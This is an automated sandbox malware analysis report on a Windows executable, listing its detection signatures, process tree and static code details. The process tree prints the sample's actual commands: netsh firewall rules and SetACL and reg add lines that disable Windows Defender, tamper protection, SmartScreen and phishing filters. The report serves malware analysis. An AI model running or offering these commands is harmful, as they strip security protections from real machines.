Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Auu2j0pT0B.exe

Overview

General Information

Sample name:Auu2j0pT0B.exe
renamed because original name is a hash value
Original sample name:13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
Analysis ID:1568354
MD5:4fb8a3b07100f5fec8a75931cae24c05
SHA1:3ac325d26f6bd89f5bf77acd082cbca4f9296c68
SHA256:13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52
Tags:exeuser-adrian__luca
Infos:

Detection

Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Disable Microsoft Windows Malicious Software Removal Tool Heartbeat Telemetry
Disables Windows Defender Tamper protection
Disables the Smart Screen filter
Disables the phising filter of Microsoft Edge
Modifies the windows firewall
Uses cmd line tools excessively to alter registry or file data
Uses netsh to modify the Windows network and firewall settings
Binary contains a suspicious time stamp
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to enumerate running services
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Detected potential crypto function
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Too many similar processes found
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry

Classification

Process Tree

  • System is w10x64
  • Auu2j0pT0B.exe (PID: 3228 cmdline: "C:\Users\user\Desktop\Auu2j0pT0B.exe" MD5: 4FB8A3B07100F5FEC8A75931CAE24C05)
    • netsh.exe (PID: 3148 cmdline: netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private MD5: 4E89A1A088BE715D6C946E55AB07C7DF)
      • conhost.exe (PID: 5256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • netsh.exe (PID: 6536 cmdline: netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private MD5: 4E89A1A088BE715D6C946E55AB07C7DF)
      • conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • dotNetFx40_Full_setup.exe (PID: 5696 cmdline: "C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe" /q /norestart MD5: 53406E9988306CBD4537677C5336ABA4)
      • Setup.exe (PID: 5628 cmdline: C:\6231e956ee22143d5ce90e\\Setup.exe /q /norestart /x86 /x64 /ia64 /web MD5: 006F8A615020A4A17F5E63801485DF46)
    • dotNetFx45_Full_setup.exe (PID: 2608 cmdline: "C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe" /q /norestart MD5: 9E8253F0A993E53B4809DBD74B335227)
      • Setup.exe (PID: 4084 cmdline: C:\02160d95efb0ac51c5e073\\Setup.exe /q /norestart /x86 /x64 /web MD5: 8B3ECF4D59A85DAE0960D3175865A06D)
    • cmd.exe (PID: 6156 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 6396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • SetACL64.exe (PID: 1276 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
    • cmd.exe (PID: 1512 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnz.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 5968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • SetACL64.exe (PID: 2072 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
      • SetACL64.exe (PID: 5972 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
      • SetACL64.exe (PID: 5036 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
      • SetACL64.exe (PID: 6448 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
      • SetACL64.exe (PID: 5572 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
      • SetACL64.exe (PID: 1400 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
      • SetACL64.exe (PID: 5980 cmdline: SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full" MD5: 1FB64FF73938F4A04E97E5E7BF3D618C)
      • reg.exe (PID: 4072 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 3504 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 5768 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 6760 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 6804 cmdline: reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 7140 cmdline: reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 7152 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 4084 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 2608 cmdline: reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 1500 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 6204 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 1644 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 1988 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
    • cmd.exe (PID: 7120 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnn.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 6480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • reg.exe (PID: 3924 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 3620 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 3836 cmdline: reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 1440 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 3628 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
    • cmd.exe (PID: 7128 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnoo1.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • reg.exe (PID: 4072 cmdline: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 5608 cmdline: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 2504 cmdline: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 6948 cmdline: reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 6120 cmdline: reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 7140 cmdline: reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
      • reg.exe (PID: 6184 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: Auu2j0pT0B.exeReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD7C12 LoadLibraryW,GetLastError,GetProcAddress,GetLastError,DecryptFileW,GetLastError,6_2_00AD7C12
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD751D CryptAcquireContextA,GetLastError,CryptGenRandom,GetLastError,CryptReleaseContext,6_2_00AD751D
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBC17D1 __EH_prolog3,GetLastError,CertCloseStore,CryptMsgClose,GetLastError,CertFreeCertificateContext,CertCloseStore,CryptMsgClose,7_2_6CBC17D1
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBA80A5 CryptHashPublicKeyInfo,SetLastError,7_2_6CBA80A5
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBA8094 CryptMsgGetAndVerifySigner,7_2_6CBA8094
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBA8083 CryptQueryObject,7_2_6CBA8083
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBA80D5 CryptMsgGetParam,SetLastError,7_2_6CBA80D5
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBA8114 CryptDecodeObject,SetLastError,7_2_6CBA8114
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DC8340 LoadLibraryW,GetLastError,GetProcAddress,GetLastError,DecryptFileW,GetLastError,8_2_00DC8340
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DC7C55 CryptAcquireContextW,GetLastError,CryptGenRandom,GetLastError,CryptReleaseContext,8_2_00DC7C55
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C53D6C5 CryptHashPublicKeyInfo,SetLastError,9_2_6C53D6C5
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C53D6F3 CryptMsgGetParam,SetLastError,9_2_6C53D6F3
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C53D6B6 CryptMsgGetAndVerifySigner,9_2_6C53D6B6
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C53D6A7 CryptQueryObject,9_2_6C53D6A7
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C53D730 CryptDecodeObject,SetLastError,9_2_6C53D730
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C559342 __EH_prolog3,GetLastError,CertCloseStore,CryptMsgClose,GetLastError,CertFreeCertificateContext,CertFreeCertificateContext,CertCloseStore,CryptMsgClose,9_2_6C559342
Source: Auu2j0pT0B.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\Users\user\AppData\Local\Temp\dd_dotNetFx40_Full_setup_decompression_log.txtJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\Users\user\AppData\Local\Temp\dd_dotNetFx45_Full_setup_decompression_log.txtJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1033\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1025\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1028\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1030\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1031\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1029\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1036\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1035\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1032\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1038\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1037\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1040\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1041\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1042\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1044\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1043\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1046\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1045\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1055\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1053\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\2052\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\1049\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\3082\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\2070\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeFile created: C:\6231e956ee22143d5ce90e\3076\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1030\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1029\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1028\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1025\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1031\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1033\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1035\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1032\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1036\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1037\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1041\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1040\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1038\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1042\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1043\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1044\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1053\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1046\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1055\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1045\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\2052\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\1049\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\2070\eula.rtfJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeFile created: C:\02160d95efb0ac51c5e073\3082\eula.rtfJump to behavior
Source: Auu2j0pT0B.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdbG source: SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.dr
Source: Binary string: D:\Projects\DownloadFile\DownloadFile\obj\Release\DownloadFile.pdb?,Y, K,_CorExeMainmscoree.dll source: acxxtzcogvgr.exe.0.dr
Source: Binary string: sqmapi.pdb source: Setup.exe, Setup.exe, 00000009.00000002.2215477780.000000006C211000.00000020.00000001.01000000.0000000F.sdmp, sqmapi.dll.8.dr
Source: Binary string: SetupEngine.pdb source: Setup.exe, Setup.exe, 00000009.00000002.2215649372.000000006C4F1000.00000020.00000001.01000000.0000000E.sdmp
Source: Binary string: E:\clr\binaries\x86ret\bin\i386\VSSetup\Utils\boxstub.pdb source: dotNetFx45_Full_setup.exe, dotNetFx45_Full_setup.exe, 00000008.00000003.2116974194.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000002.2216959191.0000000000DC1000.00000020.00000001.01000000.0000000C.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000000.2116425268.0000000000DC1000.00000020.00000001.01000000.0000000C.sdmp
Source: Binary string: boxstub.pdb source: dotNetFx40_Full_setup.exe, dotNetFx40_Full_setup.exe, 00000006.00000003.2037301147.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, dotNetFx40_Full_setup.exe, 00000006.00000000.2036445661.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, dotNetFx40_Full_setup.exe, 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, dotNetFx40_Full_setup.exe.0.dr
Source: Binary string: SetupUtility.pdb source: dotNetFx40_Full_setup.exe, 00000006.00000003.2053343550.0000000003CCB000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.0000000003D5B000.00000004.00000020.00020000.00000000.sdmp, SetupUtility.exe.8.dr
Source: Binary string: D:\Projects\New\win_version_csharp\obj\Release\win_version_csharp.pdb source: win_version_csharp.exe.0.dr
Source: Binary string: Setup.pdb0=0^ source: dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.0000000003D5B000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000009.00000002.2209121585.0000000000601000.00000020.00000001.01000000.0000000D.sdmp, Setup.exe.8.dr
Source: Binary string: Setup.pdb source: Setup.exe, Setup.exe, 00000009.00000002.2209121585.0000000000601000.00000020.00000001.01000000.0000000D.sdmp, Setup.exe.8.dr, Setup.exe.6.dr
